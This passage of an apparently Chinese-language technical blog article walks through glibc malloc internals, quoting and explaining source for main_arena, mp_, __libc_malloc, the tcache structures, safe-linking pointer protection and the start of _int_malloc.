- 解析：glibc 默认会动态调整 mmap_threshold（根据已释放的块大小自动调优）。如果用户通过 mallopt 手动设置了阈值，该变量会置 1，关闭自动调整逻辑。

4. 统计信息

INTERNAL_SIZE_T mmapped_mem;：当前通过 mmap 分配的内存总字节数。
INTERNAL_SIZE_T max_mmapped_mem;：历史上 mmapped_mem 达到的峰值。

5. 堆基址

char *sbrk_base;
- 解析：程序第一次调用 sbrk 时返回的地址。它标记了主堆区域的起始位置，用于判断某个指针是否属于主堆。

6. Tcache 机制参数

size_t tcache_bins;
- 解析：Tcache 链表的数量。默认是 64。
size_t tcache_max_bytes;
- 解析：Tcache 能够容纳的最大块大小。默认通常是 1032 字节（64位）。超过此大小的 free 块不会进入 Tcache。
size_t tcache_count;
- 解析：每个 Tcache Bin 存放块的数量限制。默认是 7。如果某个 size 的 Tcache 已经有 7 个块了，再 free 的块就会进入 Fastbin 或 Unsorted Bin。
size_t tcache_unsorted_limit;
- 解析：当从 Unsorted Bin 批量取块填补 Tcache 时的数量限制。防止单次分配在整理链表上耗时过长。

main_arena 配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


/* There are several instances of this struct ("arenas") in this
 malloc. If you are adapting this malloc in a way that does NOT use
 a static or mmapped malloc_state, you MUST explicitly zero-fill it
 before using. This malloc relies on the property that malloc_state
 is initialized to all zeroes (as is true of C statics). */

static struct malloc_state main_arena =
{
 .mutex = _LIBC_LOCK_INITIALIZER,
 .next = &main_arena,
 .attached_threads = 1
};

main_arena 存在于 libc.so 的数据段，地址是固定的；而 Thread Arena 是动态 mmap 出来的，它是唯一一个在 main() 函数执行前就已经存在的分配区，且它是整个分配区循环链表的头结点。

mp_ 配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


/* There is only one instance of the malloc parameters. */

static struct malloc_par mp_ =
{
 .top_pad = DEFAULT_TOP_PAD,
 .n_mmaps_max = DEFAULT_MMAP_MAX,
 .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
 .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
 .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
 ,
 .tcache_count = TCACHE_FILL_COUNT,
 .tcache_bins = TCACHE_MAX_BINS,
 .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
 .tcache_unsorted_limit = 0 /* No limit. */
#endif
};

如果说 main_arena 是堆管理的“执行者”，那么 mp_ 就是“策略制定者”。它定义了分配器在全局范围内如何与操作系统交互。

1. 堆扩展与收缩策略

.top_pad = DEFAULT_TOP_PAD
- 默认值：通常为 0。
- 作用：当 malloc 通过 sbrk 增加堆空间时，额外申请的“填充”大小。虽然默认为 0，但在实际运行中，分配器可能会为了减少系统调用次数而申请比需求更多的空间。
.trim_threshold = DEFAULT_TRIM_THRESHOLD
- 默认值：128 KB。
- 作用：收缩阈值。当 top chunk的空闲空间超过这个值时，free 会自动调用 sbrk(-size) 将内存归还给内核。
.mmap_threshold = DEFAULT_MMAP_THRESHOLD
- 默认值：128 KB。
- 作用：核心决策点。如果用户申请的内存大于此值，free 将放弃从堆分配，转而使用 mmap 直接向内核申请一块独立的匿名映射区域。
- 动态特性：在现代 glibc 中，如果没有手动设置此值，它会根据已释放块的大小动态增长，以减少频繁 mmap/munmap 带来的性能抖动。

2. Mmap 限制

.n_mmaps_max = DEFAULT_MMAP_MAX
- 默认值：通常是 65536。
- 作用：限制进程同时拥有的 mmap 分配块的总数。这是为了防止大量零碎的 mmap 耗尽操作系统的虚拟内存区域资源。

3. Arena 创建逻辑

.arena_test = NARENAS_FROM_NCORES (1)
宏定义解析：#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
- 32位系统 (long=4)：每个核心对应 2 个 Arena。
- 64位系统 (long=8)：每个核心对应 8 个 Arena。
- 逻辑说明：这里初始化传入参数为 1。意味着在单核配置参考下，64位系统默认“预设”了 8 个 Arena 的探测阈值。
- 设计目的：这是为了在性能（减少锁竞争）和内存（ Arena 结构体本身占空间）之间取得平衡。64位系统内存大，所以允许创建更多的 Arena（最高可达 8 * 核心数）。

4. Tcache (Thread Local Cache) 配置 这是 glibc 2.26+ 性能大幅提升的关键，它在 malloc_state 之外为每个线程提供了一层极速缓存。

.tcache_count = TCACHE_FILL_COUNT
- 默认值：7。
- 作用：每个 Tcache bin 最多存放多少个空闲块。如果一个线程连续释放 10 个 0x20 的块，前 7 个进 Tcache，后 3 个才会进全局的 Fastbin。
.tcache_bins = TCACHE_MAX_BINS
- 默认值：64。
- 作用：Tcache 覆盖的大小范围数量。
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1)
- 默认值：通常是 1032 字节 (64位系统)。
- 作用：Tcache 管理的最大块尺寸。在这个尺寸以下的内存申请，都会优先检查线程本地缓存，不需要加锁，速度极快。
.tcache_unsorted_limit = 0
- 作用：限制从 unsorted bin 搬运块到 Tcache 的数量。设置为 0 表示不限制，即尽可能填满 Tcache 桶。

__libc_malloc 源码分析

__libc_malloc 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


void *
__libc_malloc (size_t bytes)
{
 mstate ar_ptr;
 void *victim;

 _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
 "PTRDIFF_MAX is not more than half of SIZE_MAX");

 if (!__malloc_initialized)
 ptmalloc_init ();
#if USE_TCACHE
 /* int_free also calls request2size, be careful to not pad twice. */
 size_t tbytes;
 if (!checked_request2size (bytes, &tbytes))
 {
 __set_errno (ENOMEM);
 return NULL;
 }
 size_t tc_idx = csize2tidx (tbytes);

 MAYBE_INIT_TCACHE ();

 DIAG_PUSH_NEEDS_COMMENT;
 if (tc_idx < mp_.tcache_bins
 && tcache
 && tcache->counts[tc_idx] > 0)
 {
 victim = tcache_get (tc_idx);
 return tag_new_usable (victim);
 }
 DIAG_POP_NEEDS_COMMENT;
#endif

 if (SINGLE_THREAD_P)
 {
 victim = tag_new_usable (_int_malloc (&main_arena, bytes));
 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
	 &main_arena == arena_for_chunk (mem2chunk (victim)));
 return victim;
 }

 arena_get (ar_ptr, bytes);

 victim = _int_malloc (ar_ptr, bytes);
 /* Retry with another arena only if we were able to find a usable arena
 before. */
 if (!victim && ar_ptr != NULL)
 {
 LIBC_PROBE (memory_malloc_retry, 1, bytes);
 ar_ptr = arena_get_retry (ar_ptr, bytes);
 victim = _int_malloc (ar_ptr, bytes);
 }

 if (ar_ptr != NULL)
 __libc_lock_unlock (ar_ptr->mutex);

 victim = tag_new_usable (victim);

 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
 ar_ptr == arena_for_chunk (mem2chunk (victim)));
 return victim;
}
libc_hidden_def (__libc_malloc)

Tcache 相关

调用 checked_request2size

1
2
3
4
5
6
7


 /* int_free also calls request2size, be careful to not pad twice. */
 size_t tbytes;
 if (!checked_request2size (bytes, &tbytes))
 {
 __set_errno (ENOMEM);
 return NULL;
 }

checked_request2size 负责检查 bytes 是否会导致溢出，并根据申请的 bytes 计算实际应分配的内存大小，用 tbytes 记录，这块内存大小即 chunk 的实际大小

request2size 宏中 SIZE_SZ 为 size_t 类型的大小， MALLOC_ALIGN_MASK 为 MALLOC_ALIGNMENT - 1 ，其中 MALLOC_ALIGNMENT 是内存对齐的字节数， MINSIZE 为堆分配的最小字节数

64 位下， SIZE_SZ 为 8 ， MALLOC_ALIGNMENT 为 16 ， MALLOC_ALIGN_MASK 为 0b1111 ， MINSIZE 为 32 32 位下， SIZE_SZ 为 4 ， MALLOC_ALIGNMENT 为 8 ， MALLOC_ALIGN_MASK 为 0b111 ， MINSIZE 为 16

64 位下 request2size 满足 0x8 舍 0x9 入： 0x28 -> 0x30 , 0x29 -> 0x40 ，其结果是对齐 16 位的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
 if passed a literal constant. */
#define request2size(req) \
 (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
 MINSIZE : \
 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Check if REQ overflows when padded and aligned and if the resulting value
 is less than PTRDIFF_T. Returns TRUE and the requested size or MINSIZE in
 case the value is less than MINSIZE on SZ or false if any of the previous
 check fail. */
static inline bool
checked_request2size (size_t req, size_t *sz) __nonnull (1)
{
 if (__glibc_unlikely (req > PTRDIFF_MAX))
 return false;

 /* When using tagged memory, we cannot share the end of the user
 block with the header for the next chunk, so ensure that we
 allocate blocks that are rounded up to the granule size. Take
 care not to overflow from close to MAX_SIZE_T to a small
 number. Ideally, this would be part of request2size(), but that
 must be a macro that produces a compile time constant if passed
 a constant literal. */
 if (__glibc_unlikely (mtag_enabled))
 {
 /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
 asm ("");

 req = (req + (__MTAG_GRANULE_SIZE - 1)) &
	 ~(size_t)(__MTAG_GRANULE_SIZE - 1);
 }

 *sz = request2size (req);
 return true;
}

调用 csize2tidx

1

 size_t tc_idx = csize2tidx (tbytes);

回到 __libc_malloc ，csize2tidx 负责将分配的字节数 nb 线性映射为对应 num_slots 和 entries 的下标 tc_idx，即 0x20 -> 0 , 0x30 -> 1 … 0x410 -> 63

1
2


/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

1
2
3
4


/* The smallest size we can malloc is an aligned minimal chunk */

#define MINSIZE \
 (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

初始化 Tcache

1

 MAYBE_INIT_TCACHE ();

tcache_init 源码

1
2
3


# define MAYBE_INIT_TCACHE() \
 if (__glibc_unlikely (tcache == NULL)) \
 tcache_init();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


static void
tcache_init(void)
{
 mstate ar_ptr;
 void *victim = 0;
 const size_t bytes = sizeof (tcache_perthread_struct);

 if (tcache_shutting_down)
 return;

 arena_get (ar_ptr, bytes);
 victim = _int_malloc (ar_ptr, bytes);
 if (!victim && ar_ptr != NULL)
 {
 ar_ptr = arena_get_retry (ar_ptr, bytes);
 victim = _int_malloc (ar_ptr, bytes);
 }


 if (ar_ptr != NULL)
 __libc_lock_unlock (ar_ptr->mutex);

 /* In a low memory situation, we may not be able to allocate memory
 - in which case, we just keep trying later. However, we
 typically do this very early, so either there is sufficient
 memory, or there isn't enough memory to do non-trivial
 allocations anyway. */
 if (victim)
 {
 tcache = (tcache_perthread_struct *) victim;
 memset (tcache, 0, sizeof (tcache_perthread_struct));
 }

}

tcache_init 展示了 malloc 是如何“自举”的。为了实现无锁的 Tcache 分配，它必须先通过有锁的 _int_malloc 分配出 Tcache 结构。这意味着每个线程的第一次 malloc 总是比较慢的，因为要进 tcache_init 走加锁路径

分配 Tcache

1
2
3
4
5
6
7
8
9


 DIAG_PUSH_NEEDS_COMMENT;
 if (tc_idx < mp_.tcache_bins
 && tcache
 && tcache->counts[tc_idx] > 0)
 {
 victim = tcache_get (tc_idx);
 return tag_new_usable (victim);
 }
 DIAG_POP_NEEDS_COMMENT;

当 tc_idx 未超界且 tcache 中存在 free chunk 时使用 tcache_get (tc_idx) 获取一个 chunk 并将该 chunk 标记为 usable

mp_ 结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


/* There is only one instance of the malloc parameters. */

static struct malloc_par mp_ =
{
 .top_pad = DEFAULT_TOP_PAD,
 .n_mmaps_max = DEFAULT_MMAP_MAX,
 .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
 .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
 .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
 ,
 .tcache_count = TCACHE_FILL_COUNT,
 .tcache_bins = TCACHE_MAX_BINS,
 .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
 .tcache_unsorted_limit = 0 /* No limit. */
#endif
};

1
2
3


mp_.tcache_count = TCACHE_FILL_COUNT = 7
mp_.tcache_bins = TCACHE_MAX_BINS = 64
mp_.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1) = 0x408

由此可知，tc_idx 上限为 63，仅 0x20 , 0x30 … 0x410 大小的 chunk 会被 Tcache 管辖

Tcache 结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


/* We overlay this structure on the user-data portion of a chunk when
 the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
 struct tcache_entry *next;
 /* This field exists to detect double frees. */
 uintptr_t key;
} tcache_entry;

/* There is one of these for each thread, which contains the
 per-thread cache (hence "tcache_perthread_struct"). Keeping
 overall size low is mildly important. Note that COUNTS and ENTRIES
 are redundant (we could have just counted the linked list each
 time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
 uint16_t counts[TCACHE_MAX_BINS];
 tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;

/* Process-wide key to try and catch a double-free in the same thread. */
static uintptr_t tcache_key;

tcache 是单向链表， LIFO

tcache_entry 结构体起始于 chunk + 0x10 字节处，这正是原本返回给用户的指针地址 next 字段占用了原本 fd 的位置 key 字段占用了原本 bk 的位置

counts 用于统计每个类别的 BIN 中有多少 free chunk ， entries 是属于该 BIN 的 free chunk 的链表头

tcache_perthread_struct 本身也是堆内存。如果你在 GDB 中查看一个线程，你会发现它的 tcache 指针通常指向该线程申请的第一个大块内存

tcache_key 和 tcache_entry 中的 key 针对 Double Free 进行防护，暂略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


[ 线程 A 的 TLS 区域 ]
 |
 +-- tcache 指针 ----+
 |
[ 堆内存 (Heap / Arena) ] <---+
 | |
 +--> [ tcache_perthread_struct ] (管理结构)
 |
 +-- entries[0] --> [ 空闲块 1 ] --> [ 空闲块 2 ]
 |
 +-- entries[1] --> [ 空闲块 A ] --> [ 空闲块 B ]

tcache_get 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


/* Caller must ensure that we know tc_idx is valid and there's
 available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
 tcache_entry *e = tcache->entries[tc_idx];
 if (__glibc_unlikely (!aligned_OK (e)))
 malloc_printerr ("malloc(): unaligned tcache chunk detected");
 tcache->entries[tc_idx] = REVEAL_PTR (e->next);
 --(tcache->counts[tc_idx]);
 e->key = 0;
 return (void *) e;
}

PROTECT_PTR 宏

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


/* Safe-Linking:
 Use randomness from ASLR (mmap_base) to protect single-linked lists
 of Fast-Bins and TCache. That is, mask the "next" pointers of the
 lists' chunks, and also perform allocation alignment checks on them.
 This mechanism reduces the risk of pointer hijacking, as was done with
 Safe-Unlinking in the double-linked lists of Small-Bins.
 It assumes a minimum page size of 4096 bytes (12 bits). Systems with
 larger pages provide less entropy, although the pointer mangling
 still works. */
#define PROTECT_PTR(pos, ptr) \
 ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

tcache_get 获取 tcache->entries[tc_idx] 中存放的指针，并让 tcache->entries[tc_idx]->next 解密后取代 tcache->entries[tc_idx] ，然后减少 BIN 的计数，并将取出的 tcache_entry 的 key 标记清空

可以注意到，tcache->entries[tc_idx] 存的指针并没有被加密，而 tcache_entry 的 next 指针均会被加密，加密方式为指针与右移 12 位的指针在堆上的地址进行异或

tag_new_usable 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


/* If memory tagging is enabled the layout changes to accommodate the granule
 size, this is wasteful for small allocations so not done by default.
 Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
		"memory tagging is not supported with large granule.");

static __always_inline void *
tag_new_usable (void *ptr)
{
 if (__glibc_unlikely (mtag_enabled) && ptr)
 {
 mchunkptr cp = mem2chunk(ptr);
 ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
 }
 return ptr;
}

1
2


/* Convert a user mem pointer to a chunk address and extract the right tag. */
#define mem2chunk(mem) ((mchunkptr)tag_at (((char*)(mem) - CHUNK_HDR_SZ)))

1

#define CHUNK_HDR_SZ (2 * SIZE_SZ)

1
2
3
4
5
6


/* This is the size of the real usable data in the chunk. Not valid for
 dumped heap chunks. */
#define memsize(p) \
 (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
 chunksize (p) - CHUNK_HDR_SZ : \
 chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))

mem2chunk 将原本指向 chunk 数据区的指针转换至 chunk header 区域

1

ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));

主要用于对新分配的内存进行标签初始化

有锁分配相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


 if (SINGLE_THREAD_P)
 {
 victim = tag_new_usable (_int_malloc (&main_arena, bytes));
 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
	 &main_arena == arena_for_chunk (mem2chunk (victim)));
 return victim;
 }

 arena_get (ar_ptr, bytes);

 victim = _int_malloc (ar_ptr, bytes);
 /* Retry with another arena only if we were able to find a usable arena
 before. */
 if (!victim && ar_ptr != NULL)
 {
 LIBC_PROBE (memory_malloc_retry, 1, bytes);
 ar_ptr = arena_get_retry (ar_ptr, bytes);
 victim = _int_malloc (ar_ptr, bytes);
 }

 if (ar_ptr != NULL)
 __libc_lock_unlock (ar_ptr->mutex);

 victim = tag_new_usable (victim);

 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
 ar_ptr == arena_for_chunk (mem2chunk (victim)));
 return victim;

arena 相关暂略，剩下的部分交给了 _int_malloc

_int_malloc 源码分析

_int_malloc 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649


/*
 ------------------------------ malloc ------------------------------
 */

static void *
_int_malloc (mstate av, size_t bytes)
{
 INTERNAL_SIZE_T nb; /* normalized request size */
 unsigned int idx; /* associated bin index */
 mbinptr bin; /* associated bin */

 mchunkptr victim; /* inspected/selected chunk */
 INTERNAL_SIZE_T size; /* its size */
 int victim_index; /* its bin index */

 mchunkptr remainder; /* remainder from a split */
 unsigned long remainder_size; /* its size */

 unsigned int block; /* bit map traverser */
 unsigned int bit; /* bit map traverser */
 unsigned int map; /* current word of binmap */

 mchunkptr fwd; /* misc temp for linking */
 mchunkptr bck; /* misc temp for linking */

#if USE_TCACHE
 size_t tcache_unsorted_count;	 /* count of unsorted chunks processed */
#endif

 /*
 Convert request size to internal form by adding SIZE_SZ bytes
 overhead plus possibly more to obtain necessary alignment and/or
 to obtain a size of at least MINSIZE, the smallest allocatable
 size. Also, checked_request2size returns false for request sizes
 that are so large that they wrap around zero when padded and
 aligned.
 */

 if (!checked_request2size (bytes, &nb))
 {
 __set_errno (ENOMEM);
 return NULL;
 }

 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from
 mmap. */
 if (__glibc_unlikely (av == NULL))
 {
 void *p = sysmalloc (nb, av);
 if (p != NULL)
	alloc_perturb (p, bytes);
 return p;
 }

 /*
 If the size qualifies as a fastbin, first check corresponding bin.
 This code is safe to execute even if av is not yet initialized, so we
 can try it without checking, which saves some time on this fast path.
 */

#define REMOVE_FB(fb, victim, pp)			\
 do							\
 {							\
 victim = pp;					\
 if (victim == NULL)				\
	break;						\
 pp = REVEAL_PTR (victim->fd); \
 if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
	malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
 }							\
 while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
	 != victim);					\

 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
 {
 idx = fastbin_index (nb);
 mfastbinptr *fb = &fastbin (av, idx);
 mchunkptr pp;
 victim = *fb;

 if (victim != NULL)
	{
	 if (__glibc_unlikely (misaligned_chunk (victim)))
	 malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

	 if (SINGLE_THREAD_P)
	 *fb = REVEAL_PTR (victim->fd);
	 else
	 REMOVE_FB (fb, pp, victim);
	 if (__glibc_likely (victim != NULL))
	 {
	 size_t victim_idx = fastbin_index (chunksize (victim));
	 if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	 check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	 /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache. */
	 size_t tc_idx = csize2tidx (nb);
	 if (tcache && tc_idx < mp_.tcache_bins)
		{
		 mchunkptr tc_victim;

		 /* While bin not empty and tcache not full, copy chunks. */
		 while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		 {
		 if (__glibc_unlikely (misaligned_chunk (tc_victim)))
			malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
		 if (SINGLE_THREAD_P)
			*fb = REVEAL_PTR (tc_victim->fd);
		 else
			{
			 REMOVE_FB (fb, pp, tc_victim);
			 if (__glibc_unlikely (tc_victim == NULL))
			 break;
			}
		 tcache_put (tc_victim, tc_idx);
		 }
		}
#endif
	 void *p = chunk2mem (victim);
	 alloc_perturb (p, bytes);
	 return p;
	 }
	}
 }

 /*
 If a small request, check regular bin. Since these "smallbins"
 hold one size each, no searching within bins is necessary.
 (For a large request, we need to wait until unsorted chunks are
 processed to find best fit. But for small ones, fits are exact
 anyway, so we can check now, which is faster.)
 */

 if (in_smallbin_range (nb))
 {
 idx = smallbin_index (nb);
 bin = bin_at (av, idx);

 if ((victim = last (bin)) != bin)
 {
 bck = victim->bk;
	 if (__glibc_unlikely (bck->fd != victim))
	 malloc_printerr ("malloc(): smallbin double linked list corrupted");
 set_inuse_bit_at_offset (victim, nb);
 bin->bk = bck;
 bck->fd = bin;

 if (av != &main_arena)
	 set_non_main_arena (victim);
 check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	 /* While we're here, if we see other chunks of the same size,
	 stash them in the tcache. */
	 size_t tc_idx = csize2tidx (nb);
	 if (tcache && tc_idx < mp_.tcache_bins)
	 {
	 mchunkptr tc_victim;

	 /* While bin not empty and tcache not full, copy chunks over. */
	 while (tcache->counts[tc_idx] < mp_.tcache_count
		 && (tc_victim = last (bin)) != bin)
		{
		 if (tc_victim != 0)
		 {
		 bck = tc_victim->bk;
		 set_inuse_bit_at_offset (tc_victim, nb);
		 if (av != &main_arena)
			set_non_main_arena (tc_victim);
		 bin->bk = bck;
		 bck->fd = bin;

		 tcache_put (tc_victim, tc_idx);
	 }
		}
	 }
#endif
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

 /*
 If this is a large request, consolidate fastbins before continuing.
 While it might look excessive to kill all fastbins before
 even seeing if there is space available, this avoids
 fragmentation problems normally associated with fastbins.
 Also, in practice, programs tend to have runs of either small or
 large requests, but less often mixtures, so consolidation is not
 invoked all that often in most programs. And the programs that
 it is called frequently in otherwise tend to fragment.
 */

 else
 {
 idx = largebin_index (nb);
 if (atomic_load_relaxed (&av->have_fastchunks))
 malloc_consolidate (av);
 }

 /*
 Process recently freed or remaindered chunks, taking one only if
 it is exact fit, or, if this a small request, the chunk is remainder from
 the most recent non-exact fit. Place other traversed chunks in
 bins. Note that this step is the only place in any routine where
 chunks are placed in bins.

 The outer loop here is needed because we might not realize until
 near the end of malloc that we should have consolidated, so must
 do so and retry. This happens at most once, and only when we would
 otherwise need to expand memory to service a "small" request.
 */

#if USE_TCACHE
 INTERNAL_SIZE_T tcache_nb = 0;
 size_t tc_idx = csize2tidx (nb);
 if (tcache && tc_idx < mp_.tcache_bins)
 tcache_nb = nb;
 int return_cached = 0;

 tcache_unsorted_count = 0;
#endif

 for (;; )
 {
 int iters = 0;
 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
 {
 bck = victim->bk;
 size = chunksize (victim);
 mchunkptr next = chunk_at_offset (victim, size);

 if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
 || __glibc_unlikely (size > av->system_mem))
 malloc_printerr ("malloc(): invalid size (unsorted)");
 if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
 || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
 malloc_printerr ("malloc(): invalid next size (unsorted)");
 if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
 malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
 if (__glibc_unlikely (bck->fd != victim)
 || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
 malloc_printerr ("malloc(): unsorted double linked list corrupted");
 if (__glibc_unlikely (prev_inuse (next)))
 malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

 /*
 If a small request, try to use last remainder if it is the
 only chunk in unsorted bin. This helps promote locality for
 runs of consecutive small requests. This is the only
 exception to best-fit, and applies only when there is
 no exact fit for a small chunk.
 */

 if (in_smallbin_range (nb) &&
 bck == unsorted_chunks (av) &&
 victim == av->last_remainder &&
 (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
 {
 /* split and reattach remainder */
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
 av->last_remainder = remainder;
 remainder->bk = remainder->fd = unsorted_chunks (av);
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }

 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);

 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }

 /* remove from unsorted list */
 if (__glibc_unlikely (bck->fd != victim))
 malloc_printerr ("malloc(): corrupted unsorted chunks 3");
 unsorted_chunks (av)->bk = bck;
 bck->fd = unsorted_chunks (av);

